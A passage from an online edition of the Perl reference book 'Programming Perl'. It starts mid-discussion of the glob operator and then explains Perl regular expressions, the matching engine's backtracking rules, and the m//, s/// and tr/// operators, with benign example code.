A glob evaluates its (embedded) argument only when it is starting a new list. All values must be read before it will start over. In a list context this isn't important, because you automatically get them all anyway. In a scalar context, however, the operator returns the next value each time it is called, or a false value if you've just run out. Again, false is returned only once. So if you're expecting a single value from a glob, it is much better to say:

($file) = <blurch*>;  # list context

than to say:

$file = <blurch*>;    # scalar context

because the former slurps all the matched filenames and resets the operator, while the latter will alternate between returning a filename and returning false.

It you're trying to do variable interpolation, it's definitely better to use the glob operator, because the older notation can cause people to become confused with the indirect filehandle notation. But with things like this, it begins to become apparent that the borderline between terms and operators is a bit mushy:

@files = glob("$dir/*.[ch]");   # call glob as function
@files = glob $some_pattern;    # call glob as operator

We left the parentheses off of the second example to illustrate that glob can be used as a unary operator; that is, a prefix operator that takes a single argument. The glob operator is an example of a named unary operator, which is just one of the kinds of operators we'll talk about in the section "Operators" later in this chapter. But first we're going to talk about pattern matching operations, which also parse like terms but operate like operators.

Previous: 2.2 Built-in Data Types | Programming Perl | Next: 2.4 Pattern Matching
2.2 Built-in Data Types | Book Index | 2.4 Pattern Matching


[Chapter 2] 2.4 Pattern Matching

Programming PerlSearch this book

2.4 Pattern Matching

The two main pattern matching operators are m//, the match operator, and s///, the substitution operator. There is also a split operator, which takes an ordinary match operator as its first argument but otherwise behaves like a function, and is therefore documented in Chapter 3.

Although we write m// and s/// here, you'll recall that you can pick your own quote characters. On the other hand, for the m// operator only, the m may be omitted if the delimiters you pick are in fact slashes. (You'll often see patterns written this way, for historical reasons.)

Now that we've gone to all the trouble of enumerating these weird, quote-like operators, you might wonder what it is we've gone to all the trouble of quoting. The answer is that the string inside the quotes specifies a regular expression. We'll discuss regular expressions in the next section, because there's a lot to discuss.

The matching operations can have various modifiers, some of which affect the interpretation of the regular expression inside:

Modifier | Meaning
i | Do case-insensitive pattern matching.
m | Treat string as multiple lines (^ and $ match internal \n).
s | Treat string as single line (^ and $ ignore \n, but . matches \n).
x | Extend your pattern's legibility with whitespace and comments.

These are usually written as "the /x modifier", even though the delimiter in question might not actually be a slash. In fact, any of these modifiers may also be embedded within the regular expression itself using the (?...) construct. See the section "Regular Expression Extensions" later in this chapter.

The /x modifier itself needs a little more explanation. It tells the regular expression parser to ignore whitespace that is not backslashed or within a character class. You can use this modifier to break up your regular expression into (slightly) more readable parts. The # character is also treated as a metacharacter introducing a comment, just as in ordinary Perl code. Taken together, these features go a long way toward making Perl a readable language.

2.4.1 Regular Expressions

The regular expressions used in the pattern matching and substitution operators are syntactically similar to those used by the UNIX egrep program. When you write a regular expression, you're actually writing a grammar for a little language. The regular expression interpreter (which we'll call the Engine) takes your grammar and compares it to the string you're doing pattern matching on. If some portion of the string can be parsed as a sentence of your little language, it says "yes". If not, it says "no".

What happens after the Engine has said "yes" depends on how you invoked it. An ordinary pattern match is usually used as a conditional expression, in which case you don't care where it matched, only whether it matched. (But you can also find out where it matched if you need to know that.) A substitution command will take the part that matched and replace it with some other string of your choice. And the split operator will return (as a list) all the places your pattern didn't match.

Regular expressions are powerful, packing a lot of meaning into a short space. They can therefore be quite daunting if you try to intuit the meaning of a large regular expression as a whole. But if you break it up into its parts, and if you know how the Engine interprets those parts, you can understand any regular expression.

2.4.1.1 The regular expression bestiary

Before we dive into the rules for interpreting regular expressions, let's take a look at some of the things you'll see in regular expressions. First of all, you'll see literal strings. Most characters[23] in a regular expression simply match themselves. If you string several characters in a row, they must match in order, just as you'd expect. So if you write the pattern match:

[23] In this section we are misusing the term "character" to mean "byte". So far, Perl only knows about byte-sized characters, but this will change someday, at which point "character" will be a more appropriate word.

/Fred/

you can know that the pattern won't match unless the string contains the substring "Fred" somewhere.

Other characters don't match themselves, but are metacharacters. (Before we explain what metacharacters do, we should reassure you that you can always match such a character literally by putting a backslash in front of it. For example, backslash is itself a metacharacter, so to match a literal backslash, you'd backslash the backslash: \\.) The list of metacharacters is:

\ | ( ) [  {  ^ $ * + ? .

We said that backslash turns a metacharacter into a literal character, but it does the opposite to an alphanumeric character: it turns the literal character into a sort of metacharacter or sequence. So whenever you see a two-character sequence:

\b \D \t \3 \s

you'll know that the sequence matches something strange. A \b matches a word boundary, for instance, while \t matches an ordinary tab character. Notice that a word boundary is zero characters wide, while a tab character is one character wide. Still, they're alike in that they both assert that something is true about a particular spot in the string. Most of the things in a regular expression fall into the class of assertions, including the ordinary characters that simply assert that they match themselves. (To be precise, they also assert that the next thing will match one character later in the string, which is why we talk about the tab character being "one character wide". Some assertions eat up some of the string as they match, and others don't. But we usually reserve the term "assertion" for the zero-width assertions. We'll call these assertions with nonzero width atoms.) You'll also see some things that aren't assertions. Alternation is indicated with a vertical bar:

/Fred|Wilma|Barney|Betty/

That means that any of those strings can trigger a match. Grouping of various sorts is done with parentheses, including grouping of alternating substrings within a longer regular expression:

/(Fred|Wilma|Pebbles) Flintstone/

Another thing you'll see are what we call quantifiers. They say how many of the previous thing should match in a row. Quantifiers look like:

* + ? *? {2,5}

Quantifiers only make sense when attached to atoms, that is, assertions that have width. Quantifiers attach only to the previous atom, which in human terms means they only quantify one character. So if you want to match three copies of "moo" in a row, you need to group the "moo" with parentheses, like this:

/(moo){3}/

That will match "moomoomoo". If you'd said /moo{3}/, it would only have matched "moooo".

Since patterns are processed as double-quoted strings, the normal double-quoted interpolations will work. (See "String Literals" earlier in this chapter.) These are applied before the string is interpreted as a regular expression. One caveat though: any $ immediately followed by a vertical bar, closing parenthesis, or the end of the string will be interpreted as an end-of-line assertion rather than a variable interpolation. So if you say:

$foo = "moo";
/$foo$/;

it's equivalent to saying:

/moo$/;

You should also know that interpolating variables into a pattern slows down the pattern matcher considerably, because it feels it needs to recompile the pattern each time through, since the variable might have changed.

2.4.1.2 The rules of regular expression matching

Now that you've seen some regular expressions, we'll lay out the rules that the Engine uses to match your pattern against the string. The Perl Engine uses a nondeterministic finite-state automaton (NFA) to find a match. That just means that it keeps track of what it has tried and what it hasn't, and when something doesn't pan out, it backs up and tries something else. This is called backtracking. The Perl Engine is capable of trying a million things at one spot, then giving up on all those, backing up to within one choice of the beginning, and trying the million things again at a different spot. If you're cagey, you can write efficient patterns that don't do a lot of silly backtracking.

The order of the rules below specifies which order the Engine tries things. So when someone trots out a stock phrase like "left-most, longest match", you'll know that overall Perl prefers left-most over longest. But the Engine doesn't realize it's preferring anything at that level. The global preferences result from a lot of localized choices. The Engine thinks locally and acts globally.

Rule 1. The Engine tries to match as far left in the string as it can, such that the entire regular expression matches under Rule 2.

In order to do this, its first choice is to start just before the first character (it could have started anywhere), and to try to match the entire regular expression at that point. The regular expression matches if and only if Engine reaches the end of the regular expression before it runs off the end of the string. If it matches, it quits immediately - it doesn't keep looking for a "better" match, even though the regular expression could match in many different ways. The match only has to reach the end of the regular expression; it doesn't have to reach the end of the string, unless there's an assertion in the regular expression that says it must. If it exhausts all possibilities at the first position, it realizes that its very first choice was wrong, and proceeds to its second choice. It goes to the second position in the string (between the first and second characters), and tries all the possibilities again. If it succeeds, it stops. If it fails, it continues on down the string. The pattern match as a whole doesn't fail until it has tried to match the entire regular expression at every position in the string, including after the last character in the string.

Note that the positions it's trying to match at are between the characters of the string. This rule sometimes surprises people when they write a pattern like /x*/ that can match zero or more x's. If you try the pattern on a string like "fox", it will match the null string before the "f" in preference to the "x" that's later in the string. If you want it to match one or more x's, you need to tell it that by using /x+/ instead. See the quantifiers under Rule 5.

A corollary to this rule is that any regular expression that can match the null string is guaranteed to match at the leftmost position in the string.

Rule 2. For this rule, the whole regular expression is regarded as a set of alternatives (where the degenerate case is just a set with one alternative). If there are two or more alternatives, they are syntactically separated by the | character (usually called a vertical bar). A set of alternatives matches a string if any of the alternatives match under Rule 3. It tries the alternatives left-to-right (according to their position in the regular expression), and stops on the first match that allows successful completion of the entire regular expression. If none of the alternatives matches, it backtracks to the Rule that invoked this Rule, which is usually Rule 1, but could be Rule 4 or 6. That rule will then look for a new position at which to apply Rule 2.

If there's only one alternative, then it either it matches or doesn't, and the rule still applies. (There's no such thing as zero alternatives, because a null string can always match something of zero width.)

Rule 3. Any particular alternative matches if every item in the alternative matches sequentially according to Rules 4 and 5 (such that the entire regular expression can be satisfied). An item consists of either an assertion, which is covered in Rule 4, or a quantified atom, which is covered by Rule 5. Items that have choices on how to match are given "pecking order" from left to right. If the items cannot be matched in order, the Engine backtracks to the next alternative under Rule 2.

Items that must be matched sequentially aren't separated in the regular expression by anything syntactic - they're merely juxtaposed in the order they must match. When you ask to match /^foo/, you're actually asking for four items to be matched one after the other. The first is a zero-width assertion, and the other three are ordinary letters that must match themselves, one after the other.

The left-to-right pecking order means that in a pattern like:

/x*y*/

x gets to pick one way to match, and then y tries all its ways. If that fails, then x gets to pick its second choice, and make y try all of its ways again. And so on. The items to the right vary faster, to borrow a phrase from multi-dimensional arrays.

Rule 4. An assertion must match according to this table. If the assertion does not match at the current position, the Engine backtracks to Rule 3 and retries higher-pecking-order items with different choices.

Assertion | Meaning
^ | Matches at the beginning of the string (or line, if /m used)
$ | Matches at the end of the string (or line, if /m used)
\b | Matches at word boundary (between \w and \W)
\B | Matches except at word boundary
\A | Matches at the beginning of the string
\Z | Matches at the end of the string
\G | Matches where previous m//g left off
(?=...) | Matches if engine would match ... next
(?!...) | Matches if engine wouldn't match ... next

The $ and \Z assertions can match not only at the end of the string, but also one character earlier than that, if the last character of the string happens to be a newline.

The positive (?=...) and negative (?!...) lookahead assertions are zero-width themselves, but assert that the regular expression represented above by ... would (or would not) match at this point, were we to attempt it. In fact, the Engine does attempt it. The Engine goes back to Rule 2 to test the subexpression, and then wipes out any record of how much string was eaten, returning only the success or failure of the subexpression as the value of the assertion. We'll show you some examples later.

Rule 5. A quantified atom matches only if the atom itself matches some number of times allowed by the quantifier. (The atom is matched according to Rule 6.) Different quantifiers require different numbers of matches, and most of them allow a range of numbers of matches. Multiple matches must all match in a row, that is, they must be adjacent within the string. An unquantified atom is assumed to have a quantifier requiring exactly one match. Quantifiers constrain and control matching according to the table below. If no match can be found at the current position for any allowed quantity of the atom in question, the Engine backtracks to Rule 3 and retries higher-pecking-order items with different choices.

Quantifiers are:

Maximal | Minimal | Allowed Range
{n,m} | {n,m}? | Must occur at least n times but no more than m times
{n,} | {n,}? | Must occur at least n times
{n} | {n}? | Must match exactly n times
* | *? | 0 or more times (same as {0,})
+ | +? | 1 or more times (same as {1,})
? | ?? | 0 or 1 time (same as {0,1})

If a brace occurs in any other context, it is treated as a regular character. n and m are limited to integral values less than 65,536.

If you use the {n} form, then there is no choice, and the atom must match exactly that number of times or not at all. Otherwise, the atom can match over a range of quantities, and the Engine keeps track of all the choices so that it can backtrack if necessary. But then the question arises as to which of these choices to try first. One could start with the maximal number of matches and work down, or the minimal number of matches and work up.

The quantifiers in the left column above try the biggest quantity first. This is often called "greedy" matching. To find the greediest match, the Engine doesn't actually count down from the maximum value, which after all could be infinity. What actually happens in this case is that the Engine first counts up to find out how many atoms it's possible to match in a row in the current string, and then it remembers all the shorter choices and starts out from the longest one. This could fail, of course, in which case it backtracks to a shorter choice.

If you say /.*foo/, for example, it will try to match the maximal number of "any" characters (represented by the dot) clear out to the end of the line before it ever tries looking for "foo", and then when the "foo" doesn't match there (and it can't, because there's not enough room for it at the end of the string), the Engine will back off one character at a time until it finds a "foo". If there is more than one "foo" in the line, it'll stop on the last one, and throw away all the shorter choices it could have made.

By placing a question mark after any of the greedy quantifiers, they can be made to choose the smallest quantity for the first try. So if you say /.*?foo/, the .*? first tries to match 0 characters, then 1 character, then 2, and so on until it can match the "foo". Instead of backtracking backward, it backtracks forward, so to speak, and ends up finding the first "foo" on the line instead of the last.

Rule 6. Each atom matches according to its type, listed below. If the atom doesn't match (or doesn't allow a match of the rest of the regular expression), the Engine backtracks to Rule 5 and tries the next choice for the atom's quantity.

Atoms match according to the following types:

  • A regular expression in parentheses, (...), matches whatever the regular expression (represented by ...) matches according to Rule 2. Parentheses therefore serve as a grouping operator for quantification. Parentheses also have the side effect of remembering the matched substring for later use in a backreference (to be discussed later). This side effect can be suppressed by using (?:...) instead, which has only the grouping semantics - it doesn't store anything in $1, $2, and so on.

  • A "." matches any character except \n. (It also matches \n if you use the /s modifier.) The main use of dot is as a vehicle for a minimal or maximal quantifier. A .* matches a maximal number of don't-care characters, while a .*? matches a minimal number of don't-care characters. But it's also sometimes used within parentheses for its width: /(..):(..):(..)/ matches three colon-separated fields, each of which is two characters long.

  • A list of characters in square brackets (called a character class) matches any one of the characters in the list. A caret at the front of the list causes it to match only characters that are not in the list. Character ranges may be indicated using the a-z notation. You may also use any of \d, \w, \s, \n, \r, \t, \f, or \nnn, as listed below. A \b means a backspace in a character class. You may use a backslash to protect a hyphen that would otherwise be interpreted as a range delimiter. To match a right square bracket, either backslash it or place it first in the list. To match a caret, don't put it first. Note that most other metacharacters lose their meta-ness inside square brackets. In particular, it's meaningless to specify alternation in a character class, since the characters are interpreted individually. For example, [fee|fie|foe] means the same thing as [feio|].

  • A backslashed letter matches a special character or character class:

    Code | Matches
    \a | Alarm (beep)
    \n | Newline
    \r | Carriage return
    \t | Tab
    \f | Formfeed
    \e | Escape
    \d | A digit, same as [0-9]
    \D | A nondigit
    \w | A word character (alphanumeric), same as [a-zA-Z_0-9]
    \W | A nonword character
    \s | A whitespace character, same as [ \t\n\r\f]
    \S | A non-whitespace character

    Note that \w matches a character of a word, not a whole word. Use \w+ to match a word.

  • A backslashed single-digit number matches whatever the corresponding parentheses actually matched (except that \0 matches a null character). This is called a backreference to a substring. A backslashed multi-digit number such as \10 will be considered a backreference if the pattern contains at least that many substrings prior to it, and the number does not start with a 0. Pairs of parentheses are numbered by counting left parentheses from the left.

  • A backslashed two- or three-digit octal number such as \033 matches the character with the specified value, unless it would be interpreted as a backreference.

  • A backslashed x followed by one or two hexadecimal digits, such as \x7f, matches the character having that hexadecimal value.

  • A backslashed c followed by a single character, such as \cD, matches the corresponding control character.

  • Any other backslashed character matches that character.

  • Any character not mentioned above matches itself.

2.4.1.3 The fine print

As mentioned above, \1, \2, \3, and so on, are equivalent to whatever the corresponding set of parentheses matched, counting opening parentheses from left to right. (If the particular pair of parentheses had a quantifier such as * after it, such that it matched a series of substrings, then only the last match counts as the backreference.) Note that such a backreference matches whatever actually matched for the subpattern in the string being examined; it's not just a shorthand for the rules of that subpattern. Therefore, (0|0x)\d*\s\1\d* will match "0x1234 0x4321", but not "0x1234 01234", since subpattern 1 actually matched "0x", even though the rule 0|0x could potentially match the leading 0 in the second number.

Outside of the pattern (in particular, in the replacement of a substitution operator) you can continue to refer to backreferences by using $ instead of \ in front of the number. The variables $1, $2, $3 ... are automatically localized, and their scope (and that of $`, $&, and $' below) extends to the end of the enclosing block or eval string, or to the next successful pattern match, whichever comes first. (The \1 notation sometimes works outside the current pattern, but should not be relied upon.) $+ returns whatever the last bracket match matched. $& returns the entire matched string. $` returns everything before the matched string.[24] $' returns everything after the matched string. For more explanation of these magical variables (and for a way to write them in English), see the section "Special Variables" at the end of this chapter.

[24] In the case of something like s/pattern/length($`)/eg, which does multiple replacements if the pattern occurs multiple times, the value of $` does not include any modifications done by previous replacement iterations. To get the other effect, say:

1 while s/pattern/length($`)/e;

For example, to change all tabs to the corresponding number of spaces, you could say:

1 while s/\t+/' ' x (length($&) * 8 - length($`) % 8)/e;

You may have as many parentheses as you wish. If you have more than nine pairs, the variables $10, $11, ... refer to the corresponding substring. Within the pattern, \10, \11, and so on, refer back to substrings if there have been at least that many left parentheses before the backreference. Otherwise (for backward compatibility) \10 is the same as \010, a backspace, and \11 the same as \011, a tab. And so on. (\1 through \9 are always backreferences.)

Examples:

s/^([^ ]+) +([^ ]+)/$2 $1/;   # swap first two words

/(\w+)\s*=\s*\1/;             # match "foo = foo"

/.{80,}/;                     # match line of at least 80 chars

/^(\d+\.?\d*|\.\d+)$/;        # match valid number

if (/Time: (..):(..):(..)/) { # pull fields out of a line
        $hours   = $1;
        $minutes = $2;
        $seconds = $3;
}

Hint: instead of writing patterns like /(...)(..)(.....)/, use the unpack function. It's more efficient.

A word boundary (\b) is defined as a spot between two characters that has a \w on one side of it and a \W on the other side of it (in either order), counting the imaginary characters off the beginning and end of the string as matching a \W. (Within character classes \b represents backspace rather than a word boundary.)

Normally, the ^ character is guaranteed to match only at the beginning of the string, the $ character only at the end (or before the newline at the end), and Perl does certain optimizations with the assumption that the string contains only one line. Embedded newlines will not be matched by ^ or $. However, you may wish to treat a string as a multi-line buffer, such that the ^ will also match after any newline within the string, and $ will also match before any newline. At the cost of a little more overhead, you can do this by using the /m modifier on the pattern match operator. (Older programs did this by setting $*, but this practice is now deprecated.) \A and \Z are just like ^ and $ except that they won't match multiple times when the /m modifier is used, while ^ and $ will match at every internal line boundary. To match the actual end of the string, not ignoring newline, you can use \Z(?!\n). There's an example of a negative lookahead assertion.

To facilitate multi-line substitutions, the . character never matches a newline unless you use the /s modifier, which tells Perl to pretend the string is a single line - even if it isn't. (The /s modifier also overrides the setting of $*, in case you have some (badly behaved) older code that sets it in another module.) In particular, the following leaves a newline on the $_ string:

$_ = <STDIN>;
s/.*(some_string).*/$1/;

If the newline is unwanted, use any of these:

s/.*(some_string).*/$1/s;
s/.*(some_string).*\n/$1/;
s/.*(some_string)[^\0]*/$1/;
s/.*(some_string)(.|\n)*/$1/;

chop; s/.*(some_string).*/$1/;
/(some_string)/ && ($_ = $1);

Note that all backslashed metacharacters in Perl are alphanumeric, such as \b, \w, and \n. Unlike some regular expression languages, there are no backslashed symbols that aren't alphanumeric. So anything that looks like \\, \(, \), \<, \>, \{, or \} is always interpreted as a literal character, not a metacharacter. This makes it simple to quote a string that you want to use for a pattern but that you are afraid might contain metacharacters. Just quote all the non-alphanumeric characters:

$pattern =~ s/(\W)/\\$1/g;

You can also use the built-in quotemeta function to do this. An even easier way to quote metacharacters right in the match operator is to say:

/$unquoted\Q$quoted\E$unquoted/

Remember that the first and last alternatives (before the first | and after the last one) tend to gobble up the other elements of the regular expression on either side, out to the ends of the expression, unless there are enclosing parentheses. A common mistake is to ask for:

/^fee|fie|foe$/

when you really mean:

/^(fee|fie|foe)$/

The first matches "fee" at the beginning of the string, or "fie" anywhere, or "foe" at the end of the string. The second matches any string consisting solely of "fee" or "fie" or "foe".

2.4.1.4 Regular expression extensions

Perl defines a consistent extension syntax for regular expressions. You've seen some of them already. The syntax is a pair of parentheses with a question mark as the first thing within the parentheses.[25] The character after the question mark gives the function of the extension. Several extensions are already supported:

[25] This was a syntax error in older versions of Perl. If you try to use this and have problems, upgrade to the newest version.

(?#text)

A comment. The text is ignored. If the /x switch is used to enable whitespace formatting, a simple # will suffice.

(?:...)

This groups things like "(...)" but doesn't make backreferences like "(...)" does. So:

split(/\b(?:a|b|c)\b/)

is like:

split(/\b(a|b|c)\b/)

but doesn't actually save anything in $1, which means that the first split doesn't spit out extra delimiter fields as the second one does.

(?=...)

A zero-width positive lookahead assertion. For example, /\w+(?=\t)/ matches a word followed by a tab, without including the tab in $&.

(?!...)

A zero-width negative lookahead assertion. For example /foo(?!bar)/ matches any occurrence of "foo" that isn't followed by "bar". Note, however, that lookahead and lookbehind are not the same thing. You cannot use this for lookbehind: /(?!foo)bar/ will not find an occurrence of "bar" that is preceded by something that is not "foo". That's because the (?!foo) is just saying that the next thing cannot be "foo" - and it's not, it's a "bar", so "foobar" will match. You would have to do something like /(?!foo)...bar/ for that. We say "like" because there's the case of your "bar" not having three characters before it. You could cover that this way: /(?:(?!foo)...|^.{0, 2}bar/. Sometimes it's still easier just to say:

if (/bar/ and $` !~ /foo$/)

(?imsx)

One or more embedded pattern-match modifiers. This is particularly useful for patterns that are specified in a table somewhere, some of which want to be case-sensitive, and some of which don't. The case-insensitive ones merely need to include (?i) at the front of the pattern. For example:

# hardwired case insensitivity
$pattern = "buffalo";
if ( /$pattern/i )

# data-driven case insensitivity
$pattern = "(?i)buffalo";
if ( /$pattern/ )

We chose to use the question mark for this (and for the new minimal matching construct) because (1) question mark is pretty rare in older regular expressions, and (2) whenever you see one, you should stop and question exactly what is going on. That's psychology.

2.4.2 Pattern-Matching Operators

Now that we've got all that out of the way, here finally are the quotelike operators (er, terms) that perform pattern matching and related activities.

m/PATTERN/gimosx
/PATTERN/gimosx

This operator searches a string for a pattern match, and in a scalar context returns true (1) or false (""). If no string is specified via the =~ or !~ operator, the $_ string is searched. (The string specified with =~ need not be an lvalue - it may be the result of an expression evaluation, but remember the =~ binds rather tightly, so you may need parentheses around your expression.)

Modifiers are:

Modifier | Meaning
g | Match globally, that is, find all occurrences.
i | Do case-insensitive pattern matching.
m | Treat string as multiple lines. (continued)
o | Only compile pattern once.
s | Treat string as single line.
x | Use extended regular expressions.

If / is the delimiter then the initial m is optional. With the m you can use any pair of non-alphanumeric, non-whitespace characters as delimiters. This is particularly useful for matching filenames that contain "/", thus avoiding LTS (leaning toothpick syndrome).

PATTERN may contain variables, which will be interpolated (and the pattern recompiled) every time the pattern search is evaluated. (Note that $) and $| will not be interpolated because they look like end-of-line tests.) If you want such a pattern to be compiled only once, add a /o after the trailing delimiter. This avoids expensive run-time recompilations, and is useful when the value you are interpolating won't change during execution. However, mentioning /o constitutes a promise that you won't change the variables in the pattern. If you do change them, Perl won't even notice.

If the PATTERN evaluates to a null string, the last successfully executed regular expression not hidden within an inner block (including split, grep, and map) is used instead.

If used in a context that requires a list value, a pattern match returns a list consisting of the subexpressions matched by the parentheses in the pattern - that is, ($1, $2, $3 ...). (The variables are also set.) If the match fails, a null list is returned. If the match succeeds, but there were no parentheses, a list value of (1) is returned.

Examples:

# case insensitive matching
open(TTY, '/dev/tty');
<TTY> =~ /^y/i and foo();    # do foo() if they want it

# pulling a substring out of a line
if (/Version: *([0-9.]+)/) { $version = $1; }

# avoiding Leaning Toothpick Syndrome
next if m#^/usr/spool/uucp#;

# poor man's grep
$arg = shift;
while (<>) {
    print if /$arg/o;       # compile only once
}

# get first two words and remainder as a list
if (($F1, $F2, $Etc) = ($foo =~ /^\s*(\S+)\s+(\S+)\s*(.*)/))

This last example splits $foo into the first two words and the remainder of the line, and assigns those three fields to $F1, $F2, and $Etc. The conditional is true if any variables were assigned, that is, if the pattern matched. Usually, though, one would just write the equivalent split:

if (($F1, $F2, $Etc) = split(' ', $foo, 3))

The /g modifier specifies global pattern matching - that is, matching as many times as possible within the string. How it behaves depends on the context. In a list context, it returns a list of all the substrings matched by all the parentheses in the regular expression. If there are no parentheses, it returns a list of all the matched strings, as if there were parentheses around the whole pattern.

In a scalar context, m//g iterates through the string, returning true each time it matches, and false when it eventually runs out of matches. (In other words, it remembers where it left off last time and restarts the search at that point. You can find the current match position of a string using the pos function - see Chapter 3.) If you modify the string in any way, the match position is reset to the beginning. Examples:

# list context--extract three numeric fields from uptime command
($one,$five,$fifteen) = (`uptime` =~ /(\d+\.\d+)/g);

# scalar context--count sentences in a document by recognizing
# sentences ending in [.!?], perhaps with quotes or parens on
# either side.  Observe how dot in the character class is a literal
# dot, not merely any character.
$/ = "";  # paragraph mode
while ($paragraph = <>) {
    while ($paragraph =~ /[a-z]['")]*[.!?]+['")]*\s/g) {
        $sentences++;
    }
}
print "$sentences\n";

# find duplicate words in paragraphs, possibly spanning line boundaries.
#   Use /x for space and comments, /i to match the both `is'
#   in "Is is this ok?", and use /g to find all dups.
$/ = "";        # paragrep mode again
while (<>) {
    while ( m{
                \b            # start at a word boundary
                (\w\S+)       # find a wordish chunk
                (
                    \s+       # separated by some whitespace
                    \1        # and that chunk again
                ) +           # repeat ad lib
                \b            # until another word boundary
             }xig
         )
    {
        print "dup word `$1' at paragraph $.\n";
    }
}

?PATTERN?

This is just like the /PATTERN/ search, except that it matches only once between calls to the reset operator. This is a useful optimization when you only want to see the first occurrence of something in each file of a set of files, for instance. Only ?? patterns local to the current package are reset.

This usage is vaguely deprecated, and may be removed in some future version of Perl. Most people just bomb out of the loop when they get the match they want.

s/PATTERN/REPLACEMENT/egimosx

This operator searches a string for PATTERN, and if found, replaces that match with the REPLACEMENT text and returns the number of substitutions made, which can be more than one with the /g modifier. Otherwise it returns false (0).

If no string is specified via the =~ or !~ operator, the $_ variable is searched and modified. (The string specified with =~ must be a scalar variable, an array element, a hash element, or an assignment to one of those, that is, an lvalue.)

If the delimiter you choose happens to be a single quote, no variable interpolation is done on either the PATTERN or the REPLACEMENT. Otherwise, if the PATTERN contains a $ that looks like a variable rather than an end-of-string test, the variable will be interpolated into the PATTERN at run-time. If you want the PATTERN compiled only once, when the variable is first interpolated, use the /o option. If the PATTERN evaluates to a null string, the last successfully executed regular expression is used instead. The REPLACEMENT pattern also undergoes variable interpolation, but it does so each time the PATTERN matches, unlike the PATTERN, which just gets interpolated once when the operator is evaluated. (The PATTERN can match multiple times in one evaluation if you use the /g option below.)

Modifiers are:

Modifier | Meaning
e | Evaluate the right side as an expression.
g | Replace globally, that is, all occurrences.
i | Do case-insensitive pattern matching.
m | Treat string as multiple lines.
o | Only compile pattern once.
s | Treat string as single line.
x | Use extended regular expressions.

Any non-alphanumeric, non-whitespace delimiter may replace the slashes. If single quotes are used, no interpretation is done on the replacement string (the /e modifier overrides this, however). If the PATTERN is contained within naturally paired delimiters (such as parentheses), the REPLACEMENT has its own pair of delimiters, which may or may not be the same ones used for PATTERN - for example, s(foo)(bar) or s<foo>/bar/. A /e will cause the replacement portion to be interpreted as a full-fledged Perl expression instead of as a double-quoted string. (It's kind of like an eval, but its syntax is checked at compile-time.)

Examples:

# don't change wintergreen
s/\bgreen\b/mauve/g;

# avoid LTS with different quote characters
$path =~ s(/usr/bin)(/usr/local/bin);

# interpolated pattern and replacement
s/Login: $foo/Login: $bar/;

# modifying a string "en passant"
($foo = $bar) =~ s/this/that/;

# counting the changes
$count = ($paragraph =~ s/Mister\b/Mr./g);

# using an expression for the replacement
$_ = 'abc123xyz';
s/\d+/$&*2/e;               # yields 'abc246xyz'
s/\d+/sprintf("%5d",$&)/e;  # yields 'abc  246xyz'
s/\w/$& x 2/eg;             # yields 'aabbcc  224466xxyyzz'

# how to default things with /e
s/%(.)/$percent{$1}/g;            # change percent escapes; no /e
s/%(.)/$percent{$1} || $&/ge;     # expr now, so /e
s/^=(\w+)/&pod($1)/ge;            # use function call

# /e's can even nest; this will expand simple embedded variables in $_
s/(\$\w+)/$1/eeg;

# delete C comments
$program =~ s {
    /\*     # Match the opening delimiter.
    .*?     # Match a minimal number of characters.
    \*/     # Match the closing delimiter.
} []gsx;

# trim white space
s/^\s*(.*?)\s*$/$1/;

# reverse 1st two fields
s/([^ ]*) *([^ ]*)/$2 $1/;

Note the use of $ instead of \ in the last example. Some people get a little too used to writing things like:

$pattern =~ s/(\W)/\\\1/g;

This is grandfathered for the right-hand side of a substitution to avoid shocking the sed addicts, but it's a dirty habit to get into.[26] That's because in PerlThink, the right-hand side of a s/// is a double-quoted string. In an ordinary double-quoted string, \1 would mean a control-A, but for s/// the customary UNIX meaning of \1 is kludged in. (The lexer actually translates it to $1 on the fly.) If you start to rely on that, however, you get yourself into trouble if you then add an /e modifier:

[26] Or to not get out of, depending on how you look at it.

s/(\d+)/ \1 + 1 /eg;   # a scalar reference plus one?

Or if you try to do:

s/(\d+)/\1000/;        # "\100" . "0" == "@0"?

You can't disambiguate that by saying \{1}000, whereas you can fix it with ${1}000. Basically, the operation of interpolation should not be confused with the operation of matching a backreference. Certainly, interpolation and matching mean two different things on the left side of the s///.

Occasionally, you can't just use a /g to get all the changes to occur, either because the substitutions have to happen right-to-left, or because you need the length of $` to change between matches. In this case you can usually do what you want by calling the substitution repeatedly. Here are two common cases:

# put commas in the right places in an integer
1 while s/(\d)(\d\d\d)(?!\d)/$1,$2/;

# expand tabs to 8-column spacing
1 while s/\t+/' ' x (length($&)*8 - length($`)%8)/e;

tr/SEARCHLIST/REPLACEMENTLIST/cds
y/SEARCHLIST/REPLACEMENTLIST/cds

Strictly speaking, this operator doesn't belong in a section on pattern matching because it doesn't use regular expressions. Rather, it scans a string character by character, and replaces all occurrences of the characters found in the SEARCHLIST with the corresponding character in the REPLACEMENTLIST. It returns the number of characters replaced or deleted. If no string is specified via the =~ or !~ operator, the $_ string is translated. (The string specified with =~ must be a scalar variable, an array element, or an assignment to one of those, that is, an lvalue.) For sed devotees, y is provided as a synonym for tr///. If the SEARCHLIST is contained within naturally paired delimiters (such as parentheses), the REPLACEMENTLIST has its own pair of delimiters, which may or may not be naturally paired ones - for example, tr[A-Z][a-z] or tr(+-*/)/ABCD/.

Modifiers:

Modifier | Meaning
c | Complement the SEARCHLIST.
d | Delete found but unreplaced characters.
s | Squash duplicate replaced characters.

If the /c modifier is specified, the SEARCHLIST character set is complemented; that is, the effective search list consists of all the characters not in SEARCHLIST. If the /d modifier is specified, any characters specified by SEARCHLIST but not given a replacement in REPLACEMENTLIST are deleted. (Note that this is slightly more flexible than the behavior of some tr/// programs, which delete anything they find in the SEARCHLIST, period.) If the /s modifier is specified, sequences of characters that were translated to the same character are squashed down to a single instance of the character.

If the /d modifier is used, the REPLACEMENTLIST is always interpreted exactly as specified. Otherwise, if the REPLACEMENTLIST is shorter than the SEARCHLIST, the final character is replicated until it is long enough. If the REPLACEMENTLIST is null, the SEARCHLIST is replicated. This latter is useful for counting characters in a class or for squashing character sequences in a class.

Examples:

$ARGV[1] =~ tr/A-Z/a-z/;    # canonicalize to lower case

$cnt = tr/*/*/;             # count the stars in $_

$cnt = $sky =~ tr/*/*/;     # count the stars in $sky

$cnt = tr/0-9//;            # count the digits in $_

tr/a-zA-Z//s;               # bookkeeper -> bokeper

($HOST = $host) =~ tr/a-z/A-Z/;

tr/a-zA-Z/ /cs;             # change non-alphas to single space

tr [\200-\377]
   [\000-\177];             # delete 8th bit

If multiple translations are given for a character, only the first one is used:

tr/AAA/XYZ/

will translate any A to X.

